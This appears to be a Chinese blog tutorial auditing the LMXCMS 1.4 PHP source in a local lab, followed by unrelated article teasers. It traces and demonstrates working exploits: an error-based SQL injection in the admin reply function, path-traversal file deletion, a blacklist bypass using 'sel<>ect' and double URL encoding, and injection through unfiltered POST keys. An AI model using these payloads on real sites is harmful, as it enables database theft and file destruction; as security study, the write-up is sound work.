梦想cms1.4代码审计

news/2024/10/30 13:34:59/

目录

一、环境配置 

二、代码审计

1、后台漏洞 

(1)BookAction.class.php

(2)BackdbAction.class.php任意文件删除

2、前台漏洞

(1)TagsAction.class.php

(2)BookAction.class.php


一、环境配置 

这里选择的是phpstudy搭建的

源码下载:http://www.lmxcms.com/down/xitong/

下载的是1.4版本,虽然是很早的版本了,但是主要是学习代码审计。

安装一下。

注意这里的php版本不能太高,我用7.3.4版本会报错,改成5.x就可以了

数据库需要你提前创建,

create DATABASE lmxcms;

数据库用户名密码是你自己的,没改的话基本上都是这个

 安装完成。

二、代码审计

 phpstorm打开源码,

可以看到是一个mc架构

1、后台漏洞 

(1)BookAction.class.php

打开c\admin\BookAction.class.php,网址对应的就是/admin.php?m=book&a=index

先看这一部分

public function reply(){$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];//获取回复数据$reply = $this->bookModel->getReply(array($id));if($reply){$reply = string::html_char($reply[0]['content']);$this->smarty->assign('content',$reply);$this->smarty->assign('type','update');}else{$this->smarty->assign('type','add');}if(isset($_POST['reply'])){if(!$_POST['content']){rewrite::js_back('回复内容不能为空');}$this->bookModel->reply(array('id'=>$id,'type'=>$_POST['type'],'username'=>$this->username));addlog('留言回复【id:'.$_POST['id'].'】');rewrite::succ('修改成功','?m=Book');}$this->smarty->assign('id',$id);$this->smarty->display('Book/reply.html');}

 可以看到传入了一个参数,然后调用了getReply函数,跟进一下

public function getReply(array $id){$id = implode(',',$id);$param['where'] = 'uid in('.$id.')';return parent::selectModel($param);}

其中implode() 函数返回一个由数组元素组合成的字符串。跟进selectModel函数

protected function selectModel($param=array()){if($param['field']){$this->field=$param['field'];}return parent::selectDB($this->tab['0'],$this->field,$param);}

再跟进selectDB函数

protected function selectDB($tab,Array $field,$param=array()){$arr = array();$field = implode(',',$field);$force = '';//强制进入某个索引if($param['force']) $force = ' force index('.$param['force'].')';if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';$sqlStr = $this->where($param);$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";$result=$this->query($sql);while(!!$a=mysql_fetch_assoc($result)){$arr[]=$a;}$this->result($result);return $arr;}

这里我们可以看到他将我们输入的直接拼接到select语句里面了,相当于底层没有进行一个过滤,那么你的所有防御只能靠上层去加,如果有疏漏就会产生漏洞。

这里我们进行一个调试,在sql语句下面加一个echo。

然后我们传一个参数看看

http://192.168.10.128/lmxcms1.4/admin.php?m=book&a=reply&id=1

 注意这里要把a的参数值改为reply,即我们最开始的那个函数名

可以看到有回显,我们写一个简单的报错注入

http://192.168.10.128/lmxcms1.4/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23

版本显示出来了。

(2)BackdbAction.class.php任意文件删除

private function delOne($filename){$dir = ROOT_PATH.'file/back/'.$filename;file::unLink($dir);}

非常简单的一个任意文件删除漏洞,虽然这里的unlink函数自定义的,但是依旧是用来php的unlink函数

public static function unLink($path){if($path == ROOT_PATH) return;if(is_file($path)){if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');return true;}}

往上跟,看哪里用了这个delOne函数

public function delbackdb(){$filename = trim($_GET['filename']);if(!$filename){rewrite::js_back('备份文件不存在');}$this->delOne($filename);addlog('删除数据库备份文件');rewrite::succ('删除成功');}

在根目录下新建一个1.txt文件

 

http://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt

访问后文件删除

2、前台漏洞

(1)TagsAction.class.php

毕竟渗透的流程是先前台注入拿到后台密码再去后台getshell,所以前台漏洞是很重要的。

前台的代码是在c\index下的,我们打开c\index\TagsAction.class.php

<?php 
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{private $data;private $tagsModel = null;public function __construct() {parent::__construct();$data = p(2,1,1);$name = string::delHtml($data['name']);if(!$name) _404();$name = urldecode($name);if($this->tagsModel == null) $this->tagsModel = new TagsModel();$this->data = $this->tagsModel->getNameData($name);if(!$this->data) _404();}public function index(){$temModel = new parse($this->smarty,$this->config);echo $temModel->tags($this->data,$this->tagsModel);}
}
?>

我们可以看到他自定义了一个p函数,跟进一下

/* 验证表单数据* $type 1:post数据,2:get数据 否则为$type* $pe 是否转义* $sql 是否验证sql非法字符* $mysql 是否验证mysql保留字符*/
function p($type=1,$pe=false,$sql=false,$mysql=false){if($type == 1){$data = $_POST;}else if($type == 2){$data = $_GET;}else{$data = $type;}if($sql) filter_sql($data);if($mysql) mysql_retain($data);foreach($data as $k => $v){if(is_array($v)){$newdata[$k] = p($v,$pe,$sql,$mysql);}else{if($pe){$newdata[$k] = string::addslashes($v);}else{$newdata[$k] = trim($v);}}}return $newdata;
}

这里提示我们过滤了sql注入,跟进filter_sql函数

//过滤非法提交信息,防止sql注入
function filter_sql(array $data){foreach($data as $v){if(is_array($v)){filter_sql($v);}else{//转换小写$v = strtolower($v);if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){rewrite::js_back('【'.$v.'】数据非法');}}}
}

可以看到一个黑名单,不允许使用这些方法,这导致大部分查询都用不了了,那么我们就要从外部绕过p函数,如果从里面绕过这些比较麻烦。

再看p函数下面的delHtml,这个是过滤掉html标签的函数,那么我们就可以传入一个sel<>ect,这样就可以绕过p函数,且在delHtml函数中将<>去掉变成select。

这里我们试一下可不可以

首先跟进getNameData函数,一直跟到底,

protected function oneDB($tab,Array $field,Array $param){$field = implode(',',$field);$force = '';//强制进入某个索引if($param['force']) $force = ' force index('.$param['force'].')';if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';$We = $this->where($param);$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";echo $sql;$result=$this->query($sql);$data = mysql_fetch_assoc($result);return $data ? $data : array();}

在这里加个echo $sql;

然后我们用burp suite抓一下包

/lmxcms1.4/index.php?m=Tags&name=a

我们尝试单引号能不能闭合

 

可以看到被转义了,这是因为p函数的原因,我们再尝试select

 

看到提示数据非法,那我们试一下sel<>ect

看到成功绕过

之后再看下面有个urldecode,他将我们的语句进行了一次url解码,所以我们可以先将我们的语句进行两次url编码就可以绕过了,因为它本身要进行一次url解码

 

 

成功注入,这个就有点像ctf的考点了 

(2)BookAction.class.php

 进入c\index\BookAction.class.php

public function index(){if(isset($_POST['setbook'])){//提交留言$data = $this->checkData();if($this->bookModel->add($data)){$this->setBookTime(); //存储提交时间rewrite::succ($this->l['book_ok']);}else{rewrite::error($this->l['book_error']);}}

看到一个post传参,然后跟进checkData函数

private function checkData(){$arr['name'] = '';$arr['content'] = '';$arr['mail'] = '';$arr['tel'] = '';$arr['ip'] = getip();//验证短时间内过多留言if($this->bookModel->is_ip($arr['ip'],$this->config['book_out_time']) >= $this->config['book_out_time_num']){rewrite::error($this->l['book_outtime']);}$this->bookTime(); //验证提交间隔时间$data = p(1,1,1); //验证前台数据$data = array_merge($arr,$data);if(!$data['name']) rewrite::js_back($this->l['book_name_must']);if(!$data['content']) rewrite::js_back($this->l['book_content_must']);//过滤html代码foreach($data as $k => $v){$data[$k] = string::delHtml($v); }unset($data['setbook']);return $data;}

一堆参数,然后就是p函数

再看下面的add方法

public function add($data){$data['time'] = time();return parent::addModel($data);}

addModel函数就是一个sql查询语句,直接跟到底

protected function addDB($tab,$data){foreach($data as $key=>$v){$field[]=$key;$value[]="'$v'";}$field = implode(',',$field);$value = implode(",",$value);$sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";echo $sql;$this->query($sql);return mysql_insert_id();}

依旧在这里把sql语句打印出来,用burp suite传一下

POST /lmxcms1.4/index.php?m=book HTTP/1.1
Host: 192.168.10.128
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=fqieraqhgsfnul7hnv8a8t89t0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39setbook=a&name=b&content=c&mail=d&tel=e

看到这是一个insert语句,但是在checkData函数里面可以知道我们传入的先经过p函数检验,再经过delHtml函数,虽然可以通关尖括号绕过p函数,但是没有办法进行单引号闭合,所以值这里没有办法注入。

但是addDB函数中插入sql语句的有两个地方,一个是field,一个是value,往上看知道data键值对的值被单引号包裹了,而key没有,所以注入点在key

protected function addDB($tab,$data){foreach($data as $key=>$v){$field[]=$key;$value[]="'$v'";}$field = implode(',',$field);$value = implode(",",$value);$sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";echo $sql;$this->query($sql);return mysql_insert_id();}

 跟到p函数里面也可以看到

function p($type=1,$pe=false,$sql=false,$mysql=false){if($type == 1){$data = $_POST;}else if($type == 2){$data = $_GET;}else{$data = $type;}if($sql) filter_sql($data);if($mysql) mysql_retain($data);foreach($data as $k => $v){if(is_array($v)){$newdata[$k] = p($v,$pe,$sql,$mysql);}else{if($pe){$newdata[$k] = string::addslashes($v);}else{$newdata[$k] = trim($v);}}}return $newdata;
}

它只对值进行了过滤并没有对key进行过滤

加入一个键值对进行注入

setbook=a&name=b&content=c&mail=d&tel=e&time)values(1,2,3,4,5,6)#=f

看到没有报错,是注入成功的,但是怎么有回显呢?(其实这里也可以用报错注入)

 将db.class.php里面的echo $sql;全部注释掉,访问

http://localhost/lmxcms1.4/index.php?m=book

如果不注释会导致页面不正常

发现有内容,但是我们注入的并没有出现,直接去MySQL里查 

发现我们之前的内容在里面,知道确实注入成功了,然后还看到一个ischeck,之前在页面中回显出来的ischeck值都为1,所以我们也可以加一个ischeck

setbook=a&name=b&content=c&mail=d&tel=e&time,ischeck)values(1,database(),3,4,5,6,1)#=f

 然后刷新页面


http://www.ppmy.cn/news/10305.html

相关文章

[实例讲解]计算机处理任务的方法和原理--线程

[实例讲解]计算机处理任务的方法和原理 文章目录[实例讲解]计算机处理任务的方法和原理情景一 所有的事情自己做情景二 找人去帮忙处理打印情景三 分别找人处理编码和打印情景四 不特定指定人去帮忙结束语在学习和工作中&#xff0c;我们自己都需要做很多的事情&#xff0c;事情…

解决No module named tkinter

原因 今天准备使用tutle画个图&#xff0c;导入turtle后运行发现提示没有tkinter这个包&#xff0c;于是尝试pip install tkinter安装&#xff0c;结果当然是失败&#xff1a; 后面一番搜索之后发现tinter是python3自带的包&#xff0c;不能用pip安装&#xff0c;我这里安装的…

TensorFlow之超级参数调优

Keras技术框架提供工具类库&#xff0c;用于对TensorFlow程序相关的超级参数进行调优&#xff0c;为机器学习选择正确的超级参数集合的过程被称之为超级参数调优。 超级参数是指用于治理一个机器学习模型的训练过程及其拓扑结构的变量&#xff0c;这些变量在整个训练过程中保持…

ArcGIS基础实验操作100例--实验64创建统计图符号

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台&#xff1a;ArcGIS 10.6 实验数据&#xff1a;请访问实验1&#xff08;传送门&#xff09; 高级编辑篇--实验64 创建统计图符号 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff08;1&am…

【Linux】Linux编译器-gcc/g++的使用和程序执行的基础底层原理

Linux编译器1.gcc/g 的使用2. 程序的基本翻译过程3.预处理3.1验证预处理的功能&#xff08;gcc -E&#xff09;4.编译&#xff08;变成汇编语言&#xff09;4.1验证编译过程&#xff08;gcc -S&#xff09;5.汇编&#xff08;生成机器可识别代码&#xff09;5.1验证汇编过程&am…

你了解真正的数字孪生吗?

数字孪生的目的是在虚拟空间构建数字化的复杂系统“镜像”&#xff0c;可以低成本、反复的从多个视角观察、控制、分析、验证和推演&#xff0c;从而帮助人们更好的在现实世界中完成设计、生产、运营等活动。 近年来&#xff0c;数字孪生技术在航空航天、工业制造、交通物流等多…

k8s之job和cronjob

写在前面 本文一起看下使用k8s来进行作业和定时作业。 1&#xff1a;k8s的业务类型 如果是按照业务类型来划分的话&#xff0c;可以分为离线业务和在线业务&#xff0c;如下&#xff1a; 在线业务&#xff1a;容器启动之后就一直不退出的业务&#xff0c;如Nginx 离线业务&…

学习笔记5:关于操作符与表达式的求值

目录​​​​​​​ 一.移位操作符 1.左移操作符 2.右移操作符 二.位操作符 1.位运算基本知识 2.位运算的巧妙运用 三.其他操作符 1.算术操作符 2.单目操作符 3.关于逻辑操作符 四.表达式求值 隐式类型转换 (1)整形提升(短整型家族数据的二进制序列补位转换) (2).算…